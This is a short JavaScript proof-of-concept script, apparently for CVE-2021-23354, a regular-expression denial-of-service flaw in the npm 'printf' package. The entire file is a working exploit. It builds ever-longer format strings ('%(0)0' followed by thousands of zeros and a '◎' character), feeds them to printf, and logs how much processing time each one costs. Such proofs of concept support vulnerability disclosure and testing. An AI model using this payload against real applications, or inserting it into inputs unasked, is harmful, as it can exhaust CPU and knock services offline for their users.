CVE-2021-23354.js

var printf = require("printf")

function build_attack(n) {
	var ret = "%(0)0"
	for (var i = 0; i < n; i++) {
		ret += "0"
	}

	return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        printf(attack_str, -42)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}